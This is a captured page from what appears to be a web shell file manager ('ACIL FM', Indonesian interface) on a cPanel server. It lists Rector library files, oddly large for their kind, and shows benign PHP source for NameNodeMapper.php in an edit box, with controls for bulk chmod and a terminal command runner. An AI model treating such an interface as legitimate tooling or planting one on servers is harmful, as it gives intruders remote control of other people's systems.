ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/src/StaticTypeMapper/PhpParser
/
opt
cpanel
ea-wappspector
vendor
rector
rector
src
StaticTypeMapper
PhpParser
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
ExprNodeMapper.php
828 B
chmod
View
DL
Edit
Rename
Delete
FullyQualifiedNodeMapper.php
1.54 MB
chmod
View
DL
Edit
Rename
Delete
IdentifierNodeMapper.php
1022 B
chmod
View
DL
Edit
Rename
Delete
IntersectionTypeNodeMapper.php
2.09 MB
chmod
View
DL
Edit
Rename
Delete
NameNodeMapper.php
3.25 MB
chmod
View
DL
Edit
Rename
Delete
NullableTypeNodeMapper.php
2.19 MB
chmod
View
DL
Edit
Rename
Delete
StringNodeMapper.php
624 B
chmod
View
DL
Edit
Rename
Delete
UnionTypeNodeMapper.php
2.79 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/src/StaticTypeMapper/PhpParser/NameNodeMapper.php
<?php declare (strict_types=1); namespace Rector\StaticTypeMapper\PhpParser; use PhpParser\Node; use PhpParser\Node\Name; use PhpParser\Node\Name\FullyQualified; use PHPStan\Reflection\ClassReflection; use PHPStan\Type\MixedType; use PHPStan\Type\ObjectWithoutClassType; use PHPStan\Type\StaticType; use PHPStan\Type\Type; use Rector\Enum\ObjectReference; use Rector\NodeTypeResolver\Node\AttributeKey; use Rector\Reflection\ReflectionResolver; use Rector\StaticTypeMapper\Contract\PhpParser\PhpParserNodeMapperInterface; use Rector\StaticTypeMapper\ValueObject\Type\ParentObjectWithoutClassType; use Rector\StaticTypeMapper\ValueObject\Type\ParentStaticType; use Rector\StaticTypeMapper\ValueObject\Type\SelfStaticType; /** * @implements PhpParserNodeMapperInterface<Name> */ final class NameNodeMapper implements PhpParserNodeMapperInterface { /** * @readonly * @var \Rector\Reflection\ReflectionResolver */ private $reflectionResolver; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper */ private $fullyQualifiedNodeMapper; public function __construct(ReflectionResolver $reflectionResolver, \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper $fullyQualifiedNodeMapper) { $this->reflectionResolver = $reflectionResolver; $this->fullyQualifiedNodeMapper = $fullyQualifiedNodeMapper; } public function getNodeType() : string { return Name::class; } /** * @param Name $node */ public function mapToPHPStan(Node $node) : Type { $name = $node->toString(); if ($node->isSpecialClassName()) { return $this->createClassReferenceType($node, $name); } $expandedNamespacedName = $this->expandedNamespacedName($node); if ($expandedNamespacedName instanceof FullyQualified) { return $this->fullyQualifiedNodeMapper->mapToPHPStan($expandedNamespacedName); } return new MixedType(); } private function expandedNamespacedName(Name $name) : ?FullyQualified { if (\get_class($name) !== Name::class) { return null; } if (!$name->hasAttribute(AttributeKey::NAMESPACED_NAME)) { return null; } return new FullyQualified($name->getAttribute(AttributeKey::NAMESPACED_NAME)); } /** * @return \PHPStan\Type\MixedType|\PHPStan\Type\StaticType|\Rector\StaticTypeMapper\ValueObject\Type\SelfStaticType|\PHPStan\Type\ObjectWithoutClassType */ private function createClassReferenceType(Name $name, string $reference) { $classReflection = $this->reflectionResolver->resolveClassReflection($name); if (!$classReflection instanceof ClassReflection) { return new MixedType(); } if ($reference === ObjectReference::STATIC) { return new StaticType($classReflection); } if ($reference === ObjectReference::SELF) { return new SelfStaticType($classReflection); } $parentClassReflection = $classReflection->getParentClass(); if ($parentClassReflection instanceof ClassReflection) { return new ParentStaticType($parentClassReflection); } return new ParentObjectWithoutClassType(); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply